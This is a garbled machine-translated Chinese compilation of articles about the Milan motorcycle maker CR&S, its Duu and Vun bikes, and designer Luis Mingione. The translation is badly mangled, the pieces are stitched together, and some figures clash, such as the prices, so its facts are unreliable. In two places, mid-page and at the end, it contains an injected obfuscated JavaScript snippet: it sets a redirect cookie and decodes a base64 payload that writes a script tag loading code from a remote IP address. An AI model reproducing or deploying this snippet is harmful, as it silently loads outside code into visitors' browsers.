纵观自行车, 你可以不知道这个品牌. 更何况无论是好还是不开车. 但有一两件事是肯定的: 喜欢还是不喜欢摩托车, 这是不可能无动于衷定制机对于给定的, 一个小的设计公司，位于米兰, 在意大利. 正是在那里，巴西人路易斯“光头” Mingione工作, 给予物理形式向意大利设计师科技项目多纳托Cannatello.

下面的新自行车的方式, 有CR&小号进行. 一CR&S为一门手艺制造商谁是出生在 1992 在米兰. 缩写代表“赛车和超级摩托车咖啡”. DUU意味着两个米兰方言, 并指示发动机 2.000 立方厘米. 该模型是在摩托沙龙米兰推出 (EICMA) 在 2009. 据Mingione, 由每个销售单位 40 万欧元.

功能是给表格项目

整形函数是Mingione在玻璃纤维和铝, 并进行三维打印, 给予形式通过Cannatello创建思路. 设计师来到自己的CR工作&发E呐艾普瑞利亚, 除其他摩托车制造商.

由于当时只生产 100 示范单位，现在的品牌不工作, 任何CR自行车&S.将足够独家. 然而, 总有谁想要更多的独家尚客. 这是单元的所有者的情况下. Mingione通知它是谁在意大利和新西兰餐馆荷兰人制造. 定制成本 24 万欧元 (大约R $ 110 千). 价格包括项目, 原型, 部件和人工. 这项工作历时半年.

他还曾在CR&从s (一, 在米兰方言), 意大利品牌的第二个模型. 在这种情况下，, 发动机有 650 立方厘米.

一旦自行车准备就绪, 巴西与她散步，看看是否一切正常. Mingione是一个经验丰富的飞行员, 我 2002 他赢得了巴黎 - 达喀尔, 在类别起来 250 立方厘米.

现在, 他说，他开始在一个新的项目工作, 铃木SV 650, 在生产 1999. “自行车是不值得一万欧元 (R $ 4.500), 但是店主将斥资约 6 万欧元 (R $ 27 千) 做独特的东西“, 说.

他说，第一步是完全拆卸的自行车定制. 然后, 画面重新粉刷，并会收到新的部件, 一个过程，需要四个月左右, 根据复杂.

 

Mingione的工作原理是项目. 他在给定一年前, 并打算继续在那里，直到今年年底到来.

他说，他决定尝试在米兰的生活，因为他的妻子的父母在城里餐厅. 在此之前，, 然而, Mingione经过几个国家去.

在本田了解到塑造粘土帮助

他在巴西加盟本田 1993. 之间 98 Ë 99, 推出的本田商务之后, 在那里，他的第一个原型, 他的确在该公司的总部实习, 在日本. 那里, 他学会了如何建立与粘土原型, 一种工业粘土, 在建筑模型中使用.

在离开日本品牌之后, 在 2006, 他在中国呆了一个月, 在商人的邀请. 我们的目标是选择潜在的摩托车品牌，可以在巴西出售.

超过”这次巡演 30 公司“, 一个来到来到这个国家, 一个伊朗, 其中封闭 2013.

以下, Mingione是福特在土耳其, 里面放着 2015 一个 2016, 玩黏土在室内卡车的发展.

在 2017, 他回到中国. 这是作为顾问的教练 (联合汽车), 总部设在美国哥伦比亚公司, 我打算让全国摩托车. 其后, 他前往米兰, 要留到明年年底.

“我们必须非常打扫车间”

以下类似路径的谁的梦想, Mingione警惕困难: “印度摩托车为那些谁喜欢和想学习新的东西, 趋势, 材料技术与发展“, 说. “但是，对于一个初学者不容易. 你必须炉排和清扫多少车间。“

这一切, 明确, 出来的法律问题 (工作签证) 和通信. 该语言可能是一个障碍, 取决于所选择的国. 关于补偿, Mingione估计，在意大利初学者会收到之间 600 Ë 800 每月欧元 (R $ 2.700 一个R $ 3.600).

 

摩托车是在这一活动中汇聚设计的和谐不同方面, 主要是找到问题的技术解决方案 “运输功能”. 制造商不断寻求在其所有的变种，以优化性能, 我们的目标是最有效和能够解决用户的问题也发言风格凸显媒体的情感成分. 情感是主元件, 摩托车手着周围的一切，因为他们比赛他们意味着它有一个完全不同的外观, 与一切真正的和直接接触. 他们是活跃的消费者, 生活街景，而不是寻找, 他们的感觉是压倒性的热情，可以让你感觉完全自由的快感. 下面的论文包括定制摩托车CR的工作经验研究&小号进行, 有问题的客户是一家私营的申请是, 从开始
现有基, 通过添加组件，这些组件将能够提高使有形的美观产生唯一媒体
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在男子米兰越来越续EL心, 幸运的是，仍然有人用心和双手制造摩托车.
单, 以极大的关怀和热情. 动量故事和那么多男人，他们被告知, 但这是一个想法的故事.
一个简单的故事, 但特别在其小.
如果两个轮子移动灵魂, 几个朋友的勇气设法将在米兰摩托车品牌. 曾经在Madonnina等品牌的阴影下经营过Bianchi, 米勒 - 香脂木豆, 异摩托, 帕里拉, Guazzoni, 因诺琴蒂. 而佩顿巴比诺Pattoni, 最后一家在GP中与日本巨人抗衡的私人制造商, 与四个绿色汽缸.

今天, 在时尚之城, 有CR可以剪裁定制摩托车&小号. 从外部看, 其总部是一个小棚子很多人一样在塞蒂莫米兰的工业区. 除了一件事, 摩托车外排队: 看起来很像, 但它们并不完全相同. 他们是一个单缸’ 咖啡赛车, 一点点’ 裸袋尺寸. 他们被称为VUN. 他们是主意. 使它在同一个屋顶下工作的人, 作为同摩托车的零件. 车间在底楼, 墙壁上覆盖着Bol d'Or的海报, 旅游杯和阿森. 设计和文书工作部在开放式夹层 (宁, spasi AVERT), 由蜿蜒整流罩超级布里顿V为主 1000. 罗伯托Crepaldi坐在右前方. 这是他谁创立的咖啡馆赛车手 & 在超级摩托车 1992, 离职后的一号打开与卡罗塔拉莫和Max布伦. 第二年，他遇到了约翰·布里顿（John Britten）, 辉煌的工程师新西兰人著名的第V 1000. 他也追求一个快速的想法. 让布里顿, 由CR支持欧洲&小号, 它展示在世界各地比赛, 直到同布里顿的消失. 充分利用作为汽车行业企业家的经验 (它一直法拉利经销商, 捷豹Ë阿斯顿·马丁), Crepaldi的灵感来自于他的朋友John的赛车单缸最新项目, 单座飞机, 与重量和功率比值等于一个. 一. 的, 用米兰方言… 约翰Cabassi和乔治·萨尔蒂是朋友, 企业家, 在免费自行车思想家 2002 他们在CR两侧Crepaldi&小号. 罗伯托Pattoni两年后, 儿子巴比诺和佩顿的所有者, 成为CR的合作伙伴&S作为一个技术人员负责开发. 发动机的选择是罗塔克斯庞巴迪 650, BMW F因其公路行驶性和可靠性而受到赞赏 . 设想作为一个赛车单, 所述VUN证明动物以紧密混合, 也非常适合在城市中使用 . 设计将管状框架的经典线条与现代铝制车身融合在一起, 锥形线和技术解决方案. 每件都是可定制的, 使飞行员可以通过选择组件和绘画来体验建造自己的Vun的乐趣. 在......的最后 2006 开始量产, 一年几十个标本, 两侧是赛车原型. 最近，已添加了单声道da的两个EvoluziÀn版本 652 CC. 为比赛做好准备 68 简历, 而努尔玛人对 54 简历 7.000 转弯. 还算不错, 考虑到干重仅 135 辣椒… Vun甚至在技术资料中也说米兰话, 其中，浮动制动盘变成了碟式打包机，链条带有cadÈnaO形圈，并与de goma相连…
CR的大赌注&S似乎赢了, 在欧洲和美国的分布扩大, 但是这些想法不会停止旋转. 对Vun进行不可避免的跟进, 有两个开箱即用的圆柱体，也没有大数逻辑, 已经在米兰建筑商的脑海中 2008. 直到, 克雷帕迪告诉, 启示录于当年的摩托车博览会: “我们有OMM展位, 进口瓦肯人的米兰机械车间, 与同盟国一起, 在十二生肖展台的正前方，新的S型双胞胎X-Wedge&小号. 所以和kan, X楔, 同盟国, 的… 引线!一种”.
轶事本身包含概念图, 新型CR双缸的造型和美感&小号. 基本上: 全新的马克西街头霸王, 比同盟少精英, 像Wakan一样激进的人
建立在Vun的经验上. 该项目的核心是X-Wedge引擎, 它的基本要求是不能模仿Harley-Davidson Twin Cam. V2在56°S&S一样大, 还有一点
现代而强大, 与他的 2.000 CC, 三个凸轮轴, 电子注射. 能够 160
Nm最大扭矩刚好超过 3.000 转弯. 过渡的东西, 但是欧元批准 3. 考虑到Duu应该“仅”称重？ 250 辣椒, 就像哈雷运动者883…
注意数字如何重复出现: 两缸, 两公升, 两个座位 (希望). 以及代表混合钢架的粗管. 最初的草图被可选的上部结构隐藏, 但是很明显，Duu的美丽以其残酷的朴素闪耀. 裸和生, 无需过多的努力就可以正面驱动, 但旨在打击腹部. 然而
一旦形成, 功能和情感在平衡游戏中互相追逐. 来拉文, 还有Duu这是成年摩托车手的性爱故事, 进化而苛刻. 谁可能想再次爱上一辆令人兴奋的自行车. 哲学家吉勒·德勒兹（Gilles Deleuze）说过, “没有自由投资就不会有革命”. 没有, 甚至没有一种摩托车可以制造, 在大房子再也负担不起的创造力的支持下, 出于谨慎和行销逻辑而窒息. 这是一个令人着迷的赌注, 全部玩, 但触手可及. 虽然还是水平
原型, 已经知道Duu的价格应该在 19 和两万欧元.
只不过是杜卡迪Streetfighter S, 符合V型杆肌肉, 小于V-Max
和哈雷戴维森CVO.
在今年的Eicma上展示原型, 在米兰车展上看到这款经典的自行车 2010. 下一个季节的产量: “我们的目标不是大数字, 我们是一家有想法的小公司
清除»得出Crepaldi的结论. “每年一百辆自行车的里程碑将意味着达到盈亏平衡点并为我们带来利润空间, 将被投资开发下一代CR摩托车&她”. 已翻译
自由地用米兰语: 是minga de Duu senza Tri.

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米兰奇迹

叫做CR&S and是一家充满热情的内地小公司.
他的摩托车 “必须是一些特别的东西”, 他们都是手工建造和他们每个人从不同. 这是他最新的宝石: 裸, 习惯, 跑车? 一点’ 所有.

一位不愿具名的棚子就在农村镇外 . 这是一个短语， “纹身” 在那出来的每辆自行车上 “他们说，在米兰, 继续他的心和继续我的男人”. 翻译成意大利语中的意思 “在米兰取得, 与心脏和手”, CR的本质和哲学&小号, 一个小公司罗伯托Crepaldi内脏激情的两个轮子成立. Crepaldi有明确的想法: 由CR制成每个运动&s必须是一些特别的东西，并与其他人不同. 由于他的最新创作. 带上 (“应有”) 顾名思义是CR的历史很短的第二运动&小号, 它有两个汽缸庞大和爆炸引擎 1.916 CC和逃逸到传统定义. 裸, 跑车, 习惯, 街头霸王? 一点’ 所有这些东西在一起, 但是Duu首先是由贵金属和精制材料制成的独家艺术品，这些精制材料按照定义原始和迷人的形式模制而成，这几乎是轻描淡写的. 此外，每个客户可以通过选择施工定制自己的角色, 底盘和发动机制备级别的组件. 起步价 20.000 欧元, 但是，除了这些钱，你必须有耐心, 因为CR&S被手构成，一个接一个.

斯蒂法诺·巴里贾（Stefano Bariggia）

最大 功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64，ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}

CR&S摩托车使用了“ EICMA’ 米兰摩托车展, 意大利, 首次亮相其最新的原型模型 – 的X楔供电DUU.
最初被示为概念自行车, 当DUU, 由多纳托Cannatello设计, 进入满负荷生产, 每辆自行车将被手工打造具有一系列技术和美学选项的客户选择. 可用的选项将包括一个单一的和/或双座基部模块. “我们相信，这欧元体育巡洋舰已是一种相当于美国向凯旋速度三重潜力, 但与意大利风格,” 说罗伯托Crepaldi, 在CR董事总经理&小号. “DUU是这个模型正确的名称 – 这是V型双胞胎, 在CR的第二构件&S系列, 它有一个两升发动机, 将重 200 公斤, 并且将携带两个人. 还有什么能我们卡利它?! “生产将于2011年初开始。我们已经开始对开发自行车进行路试。, 但我们真的很想获得公众的反馈。”

 

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罗伯托·克雷帕迪（Roberto Crepaldi）的最新项目, 该DUU, 被空气冷却的大双各地的内置&S Cycle美国制造的1916cc / 117ci 60 度V型双缸发动机.

示为EICMA概念自行车, Crepaldi说DUU将是一个模块化建造自行车, 与他希望在€20,000底价出让客户配置选项, 以每年几十台生产量, 并计划于2011年首次交付…

 

 

 

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携带, 但不黑桃

在20000欧元的起拍价在一年内出售, DUU查看上次米兰展作为一个概念 (我们已经描述号车手的预览 22) 这是近年来为数不多的真正原创的提案之一.
米兰CR&s表示孔是相同的轻量级单缸VUN: 罗伯托Crepaldi, 乔治·萨尔蒂和约翰Cabassi, 企业家之前，所有这三个车手, 他们都集中在一个未开发的利基，但有趣. 该DUU是小编专门制作了, 模块化和高度可定制, 与同盟法国和汉美式和欧式风格的独家内容, 但在成本的一小部分提供. 引线, 2个方言meneghino, 因为汽缸有两个和位移 (1.916 此) 这是未来两升, 为什么, 希望, 自行车PUE是在两个地方，而不是作为单座VUN. 这马克西街头霸王56，汇编°X-楔美国S的V2&小号, 强大的怪物，其 16 KGM最大扭矩仅仅三千转. 框架是由抛光的不锈钢的: 一个大的梁，也可作为汽油的容器, 与铝侧板保持后摆臂 (总是大的弯曲钢管) 和油箱亦持有鞍.
设计由多纳托Cannatello签署, 谁工作了艾普瑞利亚比摩塔, 它已在发动机的正下方卸载, 它隐藏所有的桥墩，并通过添加创建易于编辑极简线, 或删除, 一组配件 (包括贮存上述裙撑或容器) 功能和美学附录. 鞍可以在一个或两个地方，有头灯和表面光洁度不同的解决方案. 尽管大引擎, 自行车是在同类产品共有紧凑，重量高达哈雷的Sportster 883, 因为DUU由被驱动，不仅财大气粗. 一个雄心勃勃的项目, 并非没有阻力的克服, 作为其CR的经验和声誉&小号. 但必须指出，这一现实组织, 小, 像一个真正的摩托车行业. (毛里齐奥GISSI)

 

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大双子米兰!

双单声道后: 来自小型工匠的现实，这种充满独特风格的两升装诞生了
通过里卡多·卡帕基奥内

…告诉他们一百万, 继续他的心，继续我的男人”. 我们翻译的非米兰: 的“Made in米兰, 与心脏和手“, Ë’ CR生产的自行车上写的句子&小号塞蒂莫米兰. 到目前为止，目录中唯一的模型是Vun, 苗条的单一现在有一个姐姐, 不是所有的流线型, 它呼吁DUU. 在米兰方言VUN指“一个”为圆柱体, 一个地方，“独一无二”. 引线, 您将了解, 而是想说“两节”为两个汽缸, 两个地方和… 只, 她. 在CR的客户&小号, 其实, 他们可以通过选择设置来订购摩托车, 机箱组件, 电机中的着色的和当然的制备. 这就是为什么价格变化很大, 从基部开始 20.000 欧元. 在CR模型背后的设计理念&S是简单字正腔圆, 少来实现: 自行车必须是必不可少的, 整个发动机和底盘的视线, 但它也必须是一个风格, 而2: 该制造商和客户的那, 如前所述, 他积极参与创立了自己的运动. 如果E’ 他们俩? 贾, 什么是Duu? 这是一个强大的双缸逃脱正常的定义: 定制裸, 跑车, 街头霸王? 很难把一个特定类型. 最好, 简单地, 描述的技术特点, 真正独特的. 该底盘由CR构造&S和由上部管状巨合金钢的, 让人想起由瑞士专家弗里茨他用的架构; 谁有一些’ 后面的泉水会记住 , 除其他, 他炫耀的精彩文森特 1967. 大主框架管DUU也执行燃料箱的功能, 在CR项目的策略的例子&小号, 这趋向于每个部件的最大积分和简化. 在后部的结构是通过光灿烂合金板封闭, 从“全”锻造获得的切割器. 钢管架中的单侧摇臂与侧向减震器相连. 车轮, 其他独家CR&小号, 他们是出色的，特别是在后, 悬臂安装有一个单一的中央螺母和在品种的不同的设计. 玻璃纤维上层建筑很少，而且必不可少; 前灯的真正不寻常的解决方案是… 它不是, 通过容纳在“鲨鱼腮”在叉的两侧的两个侧光学组件替换, 让人想起VUN的风格特质. 这些汽车可以DUU, 像我们测试的一个, 但是有两个人的设置和旅行的设置, 用袋和专用配件. 谁的妈妈! S&S X-楔形多米纳. 气缸的两个巨大的翅片塔彼此分开56.25°，并将活塞容纳在内部 105 毫米内径-长行程 111 毫米. 该方案恢复了哈雷戴维森发动机的方案, 为此&S一直生产特殊零件, 但在这种情况下，这是一个全新的单元. 头部装有两个大阀门 (50,8 进气口毫米, 40,64 排气口毫米), 彼此平行并通过摇臂和支撑在三个凸轮轴上的杆移动, 两个排气，一个共同进气, 位于基地. 找的零钱, 分离, 这是五速面包师. 电源采用电子注入, 而催化排气, 建立在CR规范上&小号, 它在引擎之下, 有两个出色的侧面“枪支”. 主链传动采用Harley模式，位于左侧. 拖轮夫妇我们坚持要大量测试原型, 尚待开发, 杜的, 但是ne是华尔兹值得的. 双缸, 无副轴, 脉冲, 那时候, 但最重要的是它以令人印象深刻的力量推动. kgm排放下的后轮胎吟, Duu向前跳跃，骑手对车把有很好的抓地力. 鞍座更明显的上升将有助于释放一些推力, 减轻手臂的压力. 总重量不超过, 关于位移, ed分布良好, 这使得Duu比预期的更易于管理. 鞍座中的几公里仅使我们对这辆自行车的性能含糊不清，这肯定会令人兴奋, 我们迫不及待地想把它榨干,.. “敬请关注”, 我们会通知你的! 功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64，ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}